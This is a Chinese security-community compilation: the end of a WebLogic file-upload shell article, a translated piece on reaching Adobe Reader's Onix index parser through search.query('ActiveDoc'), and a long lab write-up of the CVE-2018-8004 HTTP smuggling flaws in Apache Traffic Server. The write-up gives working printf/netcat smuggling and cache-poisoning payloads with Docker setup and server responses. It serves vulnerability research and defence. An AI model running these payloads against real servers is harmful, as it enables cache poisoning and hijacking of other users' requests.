上传后的shell位于工作台配置的目录下的/config/keystore/目录中，文件名的格式相对来说简单，采用了POST请求中URL地址上携带的参数timestamp的值加上下划线拼接起来的文件名，让笔者大跌眼镜的是weblogic作为知名软件提供商存在这样低级的漏洞实在匪夷所思，再加上其一系列的反序列化绕过漏洞，只能说weblogic的产品能不用就不用，实在不行少用为妙。
## 0x05 防御措施
1. 设置Config.do、begin.do页面登录授权后访问；
2. IPS等防御产品可以加入相应的特征；
3. 升级到官方最新版本；
## 0x06 参考链接
<https://www.secrss.com/articles/4008>
<http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html#AppendixFMW> | 社区文章 |
今年十月，我在[博客](https://www.thezdi.com/blog/2018/9/28/onix-finding-pokmon-in-your-acrobat-revealing-a-new-attack-surface)中记录了一个不久前在Adobe Reader
DC中发现的新的攻击面,可以通过Catalog插件实现攻击，这个插件暴露了一组很好用的JavaScript
API。对于我提交的这个漏洞，Adobe不仅修补了相关的解析漏洞，还禁用了Catalog插件中能够触发文件格式解析操作的相关JavaScript API。
实际上，解析代码在Adobe
Reader中是仍然启用的，只是触发解析代码的过程不像以前那么直接。我很好奇解析器中是否还存在具有足够研究价值的bug，我甚至还快速浏览了一遍，仔细考虑了所有可能用来触发解析操作的可能性。最后得到的结果很令人伤心，无法使用正常的Doc对象权限去触发JavaScript中解析索引文件的操作，唯一的办法是通过执行一个特权API来完成，这使得这个攻击点变得没有用处。我没有立刻想到我2015年进行过的JavaScript
API绕过研究，然而，如果当时早知道3年后我可以像几周前那样绕过JavaScript API的限制，那么我肯定会更认真地对待这个索引问题。
无论如何，当Catalog漏洞公开时，Sebastian Apelt
([@bitshifter123](https://twitter.com/bitshifter123))
主动联系了我并提到他也在研究这个索引攻击面。有趣的是，Sebastian是通过Search插件而不是Catalog插件来到达攻击面。Sebastian研究的有趣之处在于，他找到了一种方法，可以绕过Adobe自认为存在的限制，这种限制是为了来防止通过JavaScript来解析索引文件。
## 绕过
在Adobe Acrobat
JavaScript中，“search”对象的“[query](https://help.adobe.com/en_US/acrobat/acrobat_dc_sdk/2015/HTMLHelp/index.html?rhhlterm=search&rhsyns=%20#rhhlterm=search&rhsyns=%20&t=Acro12_MasterBook%2FJS_API_AcroJS%2Fsearch_methods.htm%23XREF_21823_query)”方法被标注了“S”级别的安全限制。通常，有四种方法可以从JavaScript中调用这个方法：
1. search.query(<word>) </word>
2. search.query(<word>, "Index", <idx-path>) </idx-path></word>
3. search.query(<word>, "Folder", <idx-path>) </idx-path></word>
4. search.query(<word>, "ActiveDoc")</word>
JS API的文档中有说明，方法2和3是有安全限制的，因此，从某个路径（包括UNC路径）加载索引文件的功能在没有提升权限的情况下是无法触发的。
方法1可以在没有提升权限的情况下执行，但是不会解析任何嵌入的搜索索引文件。这可能是一个设计上的决定，不向潜在的恶意索引文件开放Onix search
API。
然而，使用带有参数“ActiveDOC”的方法4，Acrobat Reader DC和Acrobat
DC首先会将嵌入式索引文件保存到文件夹C:/Users//AppData/LocalLow/Adobe/Acrobat/DC/Search中，然后开始解析它！因此，使用“ActiveDoc”参数，攻击者就有机会攻击整个Onix解析引擎。
PoC文件[PoC.pdf](https://github.com/thezdi/PoC/tree/master/CVE-2018-16044)可以用来对描述的行为进行验证。这是一个带有嵌入式搜索索引的PDF文件，下面是从文件中截取的一段JavaScript代码片段，执行了上面提到过的四种search.query方法：
要想确认成功攻击到Onix解析引擎需要执行以下几个步骤：
1. 删除C:\Users\<user>\AppData\LocalLow\Adobe\Acrobat\DC\Search文件夹下的所有文件，避免加载缓存的索引文件。</user>
2. 打开Acrobat Reader DC
3. 开启调试器并在onix32!ixCreateIndexManager方法下断点。（当开始解析索引文件时，首先会调用这个方法）
4. 打开poc.pdf文件
a. 在每次search.query方法调用之前，会弹出4次警告
b. 使用方法1来调用search.query是不会触发onix32!ixCreateIndexManager函数的
c. 使用方法2和3来调用search.query是不会触发onix32!ixCreateIndexManager函数的（还会抛出异常）
d.
使用方法4来调用search.query能够成功触发onix32!ixCreateIndexManager函数，而且，你可以看到在第四次调用search.query方法过程中，，嵌入式索引文件会被写入搜索文件夹中。
这个poc代码将强制弹出搜索对话框并在PDF中启动搜索，因此可以证明我们已经触发了文件解析代码。
## 总结
个人研究可以揭示出如此多的问题是令人十分惊讶的，甚至连供应商也一度以为该攻击面已经被修补了。不管怎样，Adobe最终找到了一种科学的方法来修复这种攻击面上的漏洞——阻止全部解析代码。他们最终禁用了解析代码，虽然这种更改可能会影响性能，的确也影响到了性能，但有时“修复”安全问题的最佳方法是简单地删除有问题的相关特性。这使得“减少攻击面”一次也达到了一个全新的高度。
下次再见。
你可以关注我的Twitter[@AbdHariri](https://twitter.com/AbdHariri),或是关注我们的[团队](https://twitter.com/thezdi)以了解最新的漏洞利用技术和安全补丁。 | 社区文章 |
### 简述
本文将对`CVE-2018-8004`中存在的`HTTP
Smuggling`问题进行深入说明。因为目前没有太多相关信息（在撰写本文时，上一个介绍该类型的文章为“正在进行的分析”），并且自官方宣布以来已经过去了一段时间（甚至从v7中的修补程序发布以来也过去很久），由于我我不断收到关于到底是什么是HTTP
Smuggling以及如何测试、利用此类问题的需求，也因为Smuggling问题现在正趋于流行并且易于测试。本文需要感谢James
Kettle（@albinowax）的出色表现。
因此，这一次，我将不仅为读者提供详细的Smuggling信息，还将提供一些DockerFiles演示，以帮助读者进行测试工作。读者可以使用该测试手动原始查询进行实验，或者测试最近添加的BURP
Suite
Smuggling工具。
### Apache Traffi服务器 ?
Apache Traffi服务器或ATS是一个开源HTTP负载平衡器和反向代理缓存。 基于商业产品捐赠给Apache基金会。 它与Apache httpd
HTTP服务器无关，“ Apache”名称来自Apache基础，其代码与httpd有很大不同。
如果读者想从ATS装置中进行搜索操作，那么便发现相关的漏洞，我也非常希望该漏洞现在可以被修复。
#### ATS被修复版本
如CVE公告（2018-08-28）所述，受影响的ATS版本为6.0.0至6.2.2和7.0.0至7.1.3。
版本7.1.4于2018-08-02发布，而版本6.2.3于2018-08-04发布。
这是官方宣布的消息，但是我认为7.1.3已经包含了大多数修复程序，并且。
由于6.x向后移植，该公告大部分被延迟了（在其他问题上，同时发布了一些其他修复程序）。
### CVE-2018-8004
官方描述如下：
> 发出恶意请求的客户端与ATS进行交互时，存在多个HTTP smuggling和缓存中毒问题。
它并没有给出很多指针，但是在列出的4个请求请求中有更多信息：
＃3192：如果字段名称后面和冒号前面有空格，则返回400
＃3201：返回400错误响应时关闭连接
＃3231：验证传入请求的Content-Length标头
＃3251：如果有缓存命中，请清空请求正文
如果读者研究过我以前的一些帖子，那么其中的某些句子同样令人怀疑。
例如，基于标准，在错误400之后不关闭响应流显然是错误，但对于攻击者来说也是一个不错的选择。攻击者设计的一条错误的消息链，对于隐藏在无效请求正文中的某些查询，我们可能会成功收到响应。
最后一个是最好的一个，如果存在缓存命中，则清空请求正文，就像我们在本文中看到的那样，这很难检测到。
我的原始报告列出了5个问题：
* 使用标头值中的`NULL`字符进行HTTP请求拆分
* 使用标头拆分HTTP请求
* 使用双Content-length标头分割HTTP请求
* HTTP高速缓存中毒使用标头名称和标头值的分隔符之前的多余空间
* 使用`...`拆分HTTP请求（不破坏代码：保留了此内容）
### 概念证明
为了了解问题并查看效果，我们将使用演示环境。
如果需要测试HTTP Smuggling问题，那么我们应该确实尝试在受控环境中对其进行测试。 在实时环境中测试问题是非常困难的，因为：
* 我们和目标之间可能有一些HTTP代理，隐藏了大多数成功和错误消息。
* 我们可能会触发自己不知道的错误和行为，例如，我在几个模糊测试（在测试环境中）遇到随机错误，无法重现，然后才了解这与我们将在本文中研究的最后一个走私问题有关。后续测试的效果被延迟了，我完全无法控制。
* 我们可能会因其他用户或其他域发送的请求而触发错误。这与测试的反射型XSS不同。
* 现实生活中的完整示例通常发生在几个不同的HTTP代理（例如Nginx + Varnish或ATS + HaProxy，或Pound + IIS + Nodejs等）之间的交互中。我们将必须了解每个actor如何与另一个actor交互，并且将看到通过本地低级网络捕获，它比盲目穿越代理链更快（例如，学习如何检测该链上的每个代理）。
因此，能够重建实验环境非常重要。
如果发现了漏洞问题，则可以使用该环境将详细的错误报告发送给程序所有者（以我个人的经验，有时可能很难解释问题，有效的演示会有所帮助）。
### 设置实验环境：Docker实例
我们将运行2个Apache Traffic Server实例，一个在6.x版中，一个在7.x版中。
为了增加一些改变和潜在的smuggling问题，我们还将添加一个Nginx码头工人和一个HaProy码头工人。
4个HTTP actor，每个在本地端口上：
127.0.0.1:8001:HaProxy（内部侦听端口80）
127.0.0.1:8002:Nginx（内部侦听端口80）
127.0.0.1:8007:ATS7（内部侦听端口8080）
127.0.0.1:8006:ATS6（内部侦听端口8080），大多数示例将使用ATS7，但是可以使用该端口而不是其他端口（并更改域）来测试该旧版本。
我们将链接一些反向代理关系，Nginx将是最终的后端，HaProxy是前端负载平衡器，并且在Nginx和HaProxy之间，我们将根据使用的域名通过ATS6或ATS7（对于ATS7和dummy-host7.example.com， 适用于ATS6的dummy-host6.example.com）
请注意，ATS和Nginx实例的本地主机端口映射不是直接需要的，如果可以向Haproxy注入请求，它将通过ATS之一的端口8080和Nginx的端口在内部到达Nginx。
但是，如果想直接定位到其中一台服务器可能会很有用，并且在大多数示例中，我们都必须避免使用HaProxy部分，因为大多数攻击都会被此负载均衡器阻止。
因此，大多数示例都将首先直接针对ATS7服务器，即8007。之后，我们可以尝试确定针对8001的目标，这将更加困难。
+---[80]---+
| 8001->80 |
| HaProxy |
| |
+--+---+---+
[dummy-host6.example.com] | | [dummy-host7.example.com]
+-------+ +------+
| |
+-[8080]-----+ +-[8080]-----+
| 8006->8080 | | 8007->8080 |
| ATS6 | | ATS7 |
| | | |
+-----+------+ +----+-------+
| |
+-------+-------+
|
+--[80]----+
| 8002->80 |
| Nginx |
| |
+----------+
为了构建这个集群，我们将使用docker-compose，您可以在这里找到docker-compose.yml文件，但是内容很短：
version: '3'
services:
haproxy:
image: haproxy:1.6
build:
context: .
dockerfile: Dockerfile-haproxy
expose:
- 80
ports:
- "8001:80"
links:
- ats7:linkedats7.net
- ats6:linkedats6.net
depends_on:
- ats7
- ats6
ats7:
image: centos:7
build:
context: .
dockerfile: Dockerfile-ats7
expose:
- 8080
ports:
- "8007:8080"
depends_on:
- nginx
links:
- nginx:linkednginx.net
ats6:
image: centos:7
build:
context: .
dockerfile: Dockerfile-ats6
expose:
- 8080
ports:
- "8006:8080"
depends_on:
- nginx
links:
- nginx:linkednginx.net
nginx:
image: nginx:latest
build:
context: .
dockerfile: Dockerfile-nginx
expose:
- 80
ports:
- "8002:80"
我们需要以下四个Dockerfiles：
* [Docker-haproxy: an HaProxy Dockerfile, with the right conf](https://regilero.github.io/theme/resource/ats/Dockerfile-haproxy)
* [Docker-nginx: A very simple Nginx Dockerfile with one index.html page](https://regilero.github.io/theme/resource/ats/Dockerfile-nginx)
* [Docker-ats7: An ATS 7.1.1 compiled from archive Dockerfile](https://regilero.github.io/theme/resource/ats/Dockerfile-ats7)
* [Docker-ats6: An ATS 6.2.2 compiled from archive Dockerfile](https://regilero.github.io/theme/resource/ats/Dockerfile-ats6)
将所有这些文件（docker-compose.yml和Dockerfile- *文件）放入工作目录并在此目录中运行：
`docker-compose build && docker-compose up`
现在可以休息一会儿，正在启动两个ATS编译。 希望下一次升级就足够了，甚至构建可能也不会重做编译步骤。
如果需要，我们可以轻松地在集群上添加另一个ats7固定的元素，以测试ATS的固定版本。 目前，我们将专注于检测有缺陷版本中的问题。
### 测试一切正常
我们将在此安装上运行基本的非攻击性查询，以检查一切是否正常，并以运行查询的`printf + netcat`方式进行培训。
我们不会使用curl或wget来运行HTTP查询，因为这将无法编写错误的查询。
因此，我们需要使用低级字符串操作（例如，使用printf）和套接字处理（使用netcat-或nc-）。
测试Nginx：
printf 'GET / HTTP/1.1\r\n'\
'Host:dummy-host7.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8002
我们得到index.html响应，例如：
HTTP/1.1 200 OK
Server: nginx/1.15.5
Date: Fri, 26 Oct 2018 15:28:20 GMT
Content-Type: text/html
Content-Length: 120
Last-Modified: Fri, 26 Oct 2018 14:16:28 GMT
Connection: keep-alive
ETag: "5bd321bc-78"
X-Location-echo: /
X-Default-VH: 0
Cache-Control: public, max-age=300
Accept-Ranges: bytes
$<html><head><title>Nginx default static page</title></head>
<body><h1>Hello World</h1>
<p>It works!</p>
</body></html>
然后测试ATS7和ATS6：
printf 'GET / HTTP/1.1\r\n'\
'Host:dummy-host7.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8007
printf 'GET / HTTP/1.1\r\n'\
'Host:dummy-host6.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8006
然后测试HaProxy，更改主机名应通过ATS7或ATS6进行传输（检查Server:标头响应）：
printf 'GET / HTTP/1.1\r\n'\
'Host:dummy-host7.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8001
printf 'GET / HTTP/1.1\r\n'\
'Host:dummy-host6.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8001
现在让我们开始一个更复杂的HTTP内容，我们将创建一个HTTP管道，通过管道传输多个查询并接收多个响应，因为管道传输是大多数smuggling攻击的根源：
# send one pipelined chain of queries
printf 'GET /?cache=1 HTTP/1.1\r\n'\
'Host:dummy-host7.example.com\r\n'\
'\r\n'\
'GET /?cache=2 HTTP/1.1\r\n'\
'Host:dummy-host7.example.com\r\n'\
'\r\n'\
'GET /?cache=3 HTTP/1.1\r\n'\
'Host:dummy-host6.example.com\r\n'\
'\r\n'\
'GET /?cache=4 HTTP/1.1\r\n'\
'Host:dummy-host6.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8001
这是流水线，它不仅使用`HTTP keepAlive`，因为我们发送查询链而无需等待响应。
如果不旋转查询中的某些参数，则应该在docker-compose输出上获取Nginx访问日志，因为您的请求不会到达nginx的查询，因为ATS已经在缓存结果（在docker-compose输出上为CTRL
+ C， docker-compose up将删除所有缓存）。
### 请求按双重内容长度拆分
让我们开始一个真实的游戏。 那就是HTTP走私的101。 简单的向量。 RFC 7230 3.3.3（加粗）严格禁止对Double-Content-Length标头的支持：
> 4如果接收到的消息没有传输编码，并且具有不同字段值的多个Content-Length头字段或具有无效值的单个Content-> Length头字段，则消息帧无效，并且接收者必须将其视为 不可恢复的错误。 如果这是一个请求消息，则服务器必须以400状态码响应，然后关闭连接。
> 如果这是代理收到的响应消息，则代理必须关闭与服务器的连接，丢弃收到的响应，并向客户端发送502（错误网关）响应。
> 如果这是用户代理收到的响应消息，则用户代理必须关闭与服务器的连接并丢弃收到的响应。
基于Content-Length标头的顺序对消息长度的不同解释是首次证明的HTTP smuggling攻击（2005年）。
直接在ATS上发送这样的查询会生成2个响应（一个400和一个200）：
printf 'GET /index.html?toto=1 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Content-Length: 0\r\n'\
'Content-Length: 66\r\n'\
'\r\n'\
'GET /index.html?toto=2 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8007
常规响应应该是一个错误400。
使用端口8001（HaProxy）无效，HaProxy是一个强大的HTTP代理，不能被这种简单的技巧所欺骗。
这是经典的“关键请求拆分”，但是如果在反向代理链上使用一些强大的工具，则很难在现实环境中重现。那么，为什么关键？因为您还可能认为ATS健壮，并在ATS之前或之后使用新的未知HTTP服务器，并期望可以正确检测到这种smuggling攻击。
还有另一个关键因素，HTTP解析中的任何其他问题都可以利用此Double Content-Length。假设还有另一个问题，该问题使我们可以为所有其他HTTP
actor隐藏一个标头，但将此标头显示给ATS。然后，我们只需要将此隐藏的标头用于第二个Content-length，就可以完成操作，而不会被先前的actor阻止。在我们当前的情况下，ATS，您有一个带有“ space-before-：”这样的隐藏标题问题的示例，我们将在后面进行分析。
### 通过NULL字符注入请求
这个示例不容易理解，这也不是最大的影响，因为我们将使用一个非常糟糕的查询进行攻击，很容易检测到。 但是我喜欢神奇的NULL(\ 0)字符。
在标头中使用NULL字节字符会触发对ATS的查询拒绝，这是可以的，但也会提前结束查询，如果在出现第一个错误后没有关闭管道，则可能会发生不良情况。
下一行解释为管道中的下一个查询。
因此，像这样的有效管道：
01 GET /does-not-exists.html?foofoo=1 HTTP/1.1\r\n
02 X-Something: \0 something\r\n
03 X-Foo: Bar\r\n
04 \r\n
05 GET /index.html?bar=1 HTTP/1.1\r\n
06 Host: dummy-host7.example.com\r\n
07 \r\n
生成2错误400。因为第二个查询以X-Foo开头：Bar \ r \ n，所以这是无效的第一条查询行。
让我们测试一个无效的管道（因为两个查询之间没有\ r \ n）：
01 GET /does-not-exists.html?foofoo=2 HTTP/1.1\r\n
02 X-Something: \0 something\r\n
03 GET /index.html?bar=2 HTTP/1.1\r\n
04 Host: dummy-host7.example.com\r\n
05 \r\n
它生成1个错误400和1个200 OK响应。 第03/04/05行被视为有效查询。
这已经是HTTP请求攻击。
但是03行是一个不太完美的标题行，大多数代理程序都会拒绝。然而不能将其视为有效的唯一查询。
伪造的管道将作为错误查询而被早期检测到，我的意思是第03行显然不是有效的标头行。
GET /index.html?bar=2 HTTP/1.1\r\n
!=
<HEADER-NAME-NO-SPACE>[:][SP]<HEADER-VALUE>[CR][LF]
对于第一行，语法是以下两行之一：
<METHOD>[SP]<LOCATION>[SP]HTTP/[M].[m][CR][LF]
<METHOD>[SP]<http[s]://LOCATION>[SP]HTTP/[M].[m][CR][LF] (absolute uri)
`LOCATION`可以用于插入标头行中所需的特殊[:]，特别是在查询字符串部分，但这会在HEADER-NAME-NO-SPACE部分中注入很多不良字符，例如'/' 或者 '？'。
让我们尝试使用ABSOLUTE-URI替代语法，其中[:]在行上的显示速度更快，并且Header名称唯一的错误字符是空格。
这也将修复双主机标头的潜在存在（绝对uri会替换主机标头）。
01 GET /does-not-exists.html?foofoo=2 HTTP/1.1\r\n
02 Host: dummy-host7.example.com\r\n
03 X-Something: \0 something\r\n
04 GET http://dummy-host7.example.com/index.html?bar=2 HTTP/1.1\r\n
05 \r\n
在这里，成为查询的错误标头是第04行，标头名称是GET http，标头值为`//dummy-host7.example.com/index.html?bar=2 HTTP / 1.1`。
那仍然是无效的标头（标头名称包含空格），但我很确定我们可以找到一些HTTP代理来传输此标头（ATS证明了这一点，标头名称中允许使用空格字符）。
使用此技巧的实际攻击将如下所示：
printf 'GET /something.html?zorg=1 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'X-Something: "\0something"\r\n'\
'GET http://dummy-host7.example.com/index.html?replacing=1&zorg=2 HTTP/1.1\r\n'\
'\r\n'\
'GET /targeted.html?replaced=maybe&zorg=3 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8007
这只是2个查询（第一个查询有2个错误的标头，一个标有NULL，一个标头名称中有一个空格），对于ATS，它是3个查询。
常规的第二个（/targeted.html)将获得隐藏查询的响应（`http://dummy-host.example.com/index.html?replacing=1&zorg=2`）。 检查`X-Location-echo:`由Nginx添加。 之后，ATS添加了一个thirsr响应，即404，但是前一个参与者仅期望2个响应，而第二个响应已被替换。
HTTP/1.1 400 Invalid HTTP Request
Date: Fri, 26 Oct 2018 15:34:53 GMT
Connection: keep-alive
Server: ATS/7.1.1
Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Content-Length: 220
<HTML>
<HEAD>
<TITLE>Bad Request</TITLE>
</HEAD>
<BODY BGCOLOR="white" FGCOLOR="black">
<H1>Bad Request</H1>
<HR>
<FONT FACE="Helvetica,Arial"><B>
Description: Could not process this request.
</B></FONT>
<HR>
</BODY>
之后：
HTTP/1.1 200 OK
Server: ATS/7.1.1
Date: Fri, 26 Oct 2018 15:34:53 GMT
Content-Type: text/html
Content-Length: 120
Last-Modified: Fri, 26 Oct 2018 14:16:28 GMT
ETag: "5bd321bc-78"
X-Location-echo: /index.html?replacing=1&zorg=2
X-Default-VH: 0
Cache-Control: public, max-age=300
Accept-Ranges: bytes
Age: 0
Connection: keep-alive
$<html><head><title>Nginx default static page</title></head>
<body><h1>Hello World</h1>
<p>It works!</p>
</body></html>
然后，额外的未使用响应：
HTTP/1.1 404 Not Found
Server: ATS/7.1.1
Date: Fri, 26 Oct 2018 15:34:53 GMT
Content-Type: text/html
Content-Length: 153
Age: 0
Connection: keep-alive
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.15.5</center>
</body>
</html>
如果尝试使用端口8001（因此通过HaProxy进行传输），则不会获得预期的攻击结果。
HTTP/1.0 400 Bad request
Cache-Control: no-cache
Connection: close
Content-Type: text/html
<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>
这是HTTP请求拆分攻击，但实际使用情况可能很难找到。
ATS的解决方法是“错误时关闭”，当触发错误400时，流水线停止运行，错误发生后套接字将关闭。
### 使用标头进行请求拆分，提早结束查询
这次攻击与上一次攻击几乎相同，但是不需要神奇的NULL字符即可触发查询结束事件。
通过使用大小约为65536个字符的标头，我们可以触发此事件，并以与查询NULL提前结束的方式相同的方式利用该事件。
关于printf的注释，其中包含printf产生的巨大标头。 在这里，我使用一个包含很多重复字符（例如=或1）的标头生成查询：
`X: ==============( 65 532 '=' )========================\r\n`
我们可以在printf中使用％ns格式来生成此格式，从而生成大量空格。
但是要做到这一点，我们需要用tr替换一些特殊字符，并使用_代替原始字符串中的空格：
printf 'X:_"%65532s"\r\n' | tr " " "=" | tr "_" " "
尝试对Nginx：
printf 'GET_/something.html?zorg=6_HTTP/1.1\r\n'\
'Host:_dummy-host7.example.com\r\n'\
'X:_"%65532s"\r\n'\
'GET_http://dummy-host7.example.com/index.html?replaced=0&cache=8_HTTP/1.1\r\n'\
'\r\n'\
|tr " " "1"\
|tr "_" " "\
|nc -q 1 127.0.0.1 8002
我发现一个错误400，那是正常现象。 Nginx不喜欢巨大的标题。
现在尝试针对ATS7：
printf 'GET_/something.html?zorg2=5_HTTP/1.1\r\n'\
'Host:_dummy-host7.example.com\r\n'\
'X:_"%65534s"\r\n'\
'GET_http://dummy-host7.example.com/index.html?replaced=0&cache=8_HTTP/1.1\r\n'\
'\r\n'\
|tr " " "1"\
|tr "_" " "\
|nc -q 1 127.0.0.1 8007
在错误400之后，我们将收到200 OK响应。 与前面的示例相同的问题，并且相同的修复程序。
在这里，我们仍然有一个查询，该查询的标头包含空格，而且标头很大，但是没有NULL字符。
但是，是的，65000个字符非常大，大多数参与者会在一行中输入8000个字符后拒绝查询。
HTTP/1.1 400 Invalid HTTP Request
Date: Fri, 26 Oct 2018 15:40:17 GMT
Connection: keep-alive
Server: ATS/7.1.1
Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Content-Length: 220
<HTML>
<HEAD>
<TITLE>Bad Request</TITLE>
</HEAD>
<BODY BGCOLOR="white" FGCOLOR="black">
<H1>Bad Request</H1>
<HR>
<FONT FACE="Helvetica,Arial"><B>
Description: Could not process this request.
</B></FONT>
<HR>
</BODY>
HTTP/1.1 200 OK
Server: ATS/7.1.1
Date: Fri, 26 Oct 2018 15:40:17 GMT
Content-Type: text/html
Content-Length: 120
Last-Modified: Fri, 26 Oct 2018 14:16:28 GMT
ETag: "5bd321bc-78"
X-Location-echo: /index.html?replaced=0&cache=8
X-Default-VH: 0
Cache-Control: public, max-age=300
Accept-Ranges: bytes
Age: 0
Connection: keep-alive
$<html><head><title>Nginx default static page</title></head>
<body><h1>Hello World</h1>
<p>It works!</p>
</body></html>
### 使用不完整查询和错误的分隔符前缀的缓存
Cache poisoning听起来很棒。
在smuggling攻击中，我们只需要触发一个请求或响应拆分攻击即可证明缺陷，但是当将其推送到缓存时，人们通常会更好地理解拆分的管道为何很危险。
HEADER[SPACE]:HEADER VALUE\r\n
> 每个标题字段均由不区分大小写的字段名，后跟冒号（“:”），可选的前导空格，字段值和可选的尾随空格组成。
ATS支持无效的标头语法：
HEADER:HEADER_VALUE\r\n => OK
HEADER:[SPACE]HEADER_VALUE\r\n => OK
HEADER:[SPACE]HEADER_VALUE[SPACE]\r\n => OK
HEADER[SPACE]:HEADER_VALUE\r\n => NOT OK
> 标头字段名称和冒号之间不允许有空格。 过去，此类空白在处理方面的差异已导致请求路由和响应处理中的安全漏洞。
> 服务器必须拒绝任何接收到的请求消息，该请求消息包含头域名和冒号之间的空格，响应码为400（错误请求）。
> 在向下转发消息之前，代理必须从响应消息中删除任何这样的空格。
ATS将解释错误的标头，并在不进行任何更改的情况下转发它。
使用此缺陷，我们可以在请求中添加一些标头，这些标头对于任何有效的HTTP代理都是无效的，但仍由ATS解释，例如：
`Content-Length :77\r\n`
`Transfer-encoding :chunked\r\n`
一些HTTP服务器将有效地拒绝此类消息，并显示错误400。但是某些HTTP服务器将仅忽略无效的标头。 例如Nginx就是这种情况。
ATS将保持与Nginx后端的保持活动连接，因此我们将使用此被忽略的标头来传输正文（ATS认为它是正文），实际上是对后端的新查询。
而且，我们将使此查询不完整（在标题末尾缺少crlf）以吸收将来发送给Nginx的查询。
这种由下一个查询填充的不完整查询也是13年前展示的一种基本Smuggling技术。
01 GET /does-not-exists.html?cache=x HTTP/1.1\r\n
02 Host: dummy-host7.example.com\r\n
03 Cache-Control: max-age=200\r\n
04 X-info: evil 1.5 query, bad CL header\r\n
05 Content-Length :117\r\n
06 \r\n
07 GET /index.html?INJECTED=1 HTTP/1.1\r\n
08 Host: dummy-host7.example.com\r\n
09 X-info: evil poisoning query\r\n
10 Dummy-incomplete:
第05行无效（':'）。 但是对于ATS来说是有效的。
第07/08/09/10行只是传输到后端的ATS的二进制主体数据。
对于Nginx：
* 05行被忽略。
* 第07行是一个新请求（并返回第一个响应）。
* 第10行没有“ \ r \ n”。 因此Nginx仍在等待由ATS打开的保持活动连接上的查询结束。
### 攻击视图
[ATS Cache poisoning - space before header separator + backend ignoring bad headers]
Innocent Attacker ATS Nginx
| | | |
| |--A(1A+1/2B)-->| | * Issue 1 & 2 *
| | |--A(1A+1/2B)-->| * Issue 3 *
| | |<-A(404)-------|
| | | [1/2B]
| |<-A(404)-------| [1/2B]
| |--C----------->| [1/2B]
| | |--C----------->| * ending B *
| | [*CP*]<--B(200)----|
| |<--B(200)------| |
|--C--------------------------->| |
|<--B(200)--------------------[HIT] |
运行攻击：
for i in {1..9} ;do
printf 'GET /does-not-exists.html?cache='$i' HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-Control: max-age=200\r\n'\
'X-info: evil 1.5 query, bad CL header\r\n'\
'Content-Length :117\r\n'\
'\r\n'\
'GET /index.html?INJECTED='$i' HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'X-info: evil poisoning query\r\n'\
'Dummy-unterminated:'\
|nc -q 1 127.0.0.1 8007
done
Nginx在此实验配置中添加了X-Location-echo标头，在该示例中，我们在响应标头上添加了查询的第一行。
这样，我们可以观察到第二个响应是删除实际的第二个查询的第一行并将其替换为隐藏的第一行。
就我而言，最后一个查询响应包含：
`X-Location-echo: /index.html?INJECTED=3`
最后一个查询操作为：`GET /index.html?INJECTED=9`
for i in {1..9} ;do
printf 'GET /does-not-exists.html?cache='$i' HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-Control: max-age=200\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8007
done
就我而言，我发现6 404（常规）和3200响应。
如果您想更深入地了解Smuggling，我们应该尝试在此示例中使用wireshark。 不要忘记重新启动群集以清空缓存。
这里我们还没有使用C查询，缓存发生在我们的A查询中。 除非您将`/does-not-exists.html?cache='$i'`视为C查询。
但是您可以轻松地尝试在此集群上插入一个C查询，其中Nginx作为一些等待的请求，尝试使用`/index.html?INJECTED=3`响应使其中毒：
for i in {1..9} ;do
printf 'GET /innocent-C-query.html?cache='$i' HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-Control: max-age=200\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8007
done
这可能使我们对现实世界的开发有所了解，我们必须重复攻击才能获得某些东西。 变化群集上的服务器数量，反向代理各层上的池设置等。事情变得复杂。
最简单的攻击方法是成为一个混乱的生成器（类似DOS的破坏），另一方面，对目标进行精细的缓存替换需要进行深入研究并需要一些运气。
使用HaProxy的端口8001是否可以使用？ 好吧，不，当然。 我们的标头语法无效。
您可能需要使用另一个smuggling问题来从HaProxy隐藏错误的查询语法，以将错误的请求隐藏在正文中。
否则将需要一个不会检测到此无效语法的负载平衡器。
### HTTP响应拆分：缓存命中时忽略内容长度
我正在对ATS进行模糊处理，而模糊处理程序检测到问题。尝试重现时，我遇到了失败，并且在未解决的先发问题上取得了成功，然后返回到step1。无法复制的问题，使您开始怀疑以前是否看过它。突然您找到了它，但后来找不到了。当然，我并没有在正确的示例中寻找根本原因。例如，我正在触发不良的分块传输或延迟的块的测试。
过了很长时间，我才发现所有这些都与请求的缓存命中状态有关。
在缓存上，未读取GET查询上的Hit Hit-Content-Length标头。
我们可以在第一个查询主体中隐藏第二个查询，然后在缓存Hit上使该主体成为新查询。
这种查询将首先获得一个响应，在第二次启动时它将呈现两个响应（因此HTTP请求按定义拆分）：
01 GET /index.html?cache=zorg42 HTTP/1.1\r\n
02 Host: dummy-host7.example.com\r\n
03 Cache-control: max-age=300\r\n
04 Content-Length: 71\r\n
05 \r\n
06 GET /index.html?cache=zorg43 HTTP/1.1\r\n
07 Host: dummy-host7.example.com\r\n
08 \r\n
在缓存命中时忽略第04行，此行06之后现在是一个新查询，而不仅仅是第一个查询主体。
此HTTP查询有效，不存在无效的HTTP语法。 因此，即使在ATS之前使用HaProxy，也很容易从此问题成功地进行完全的Smuggling攻击。
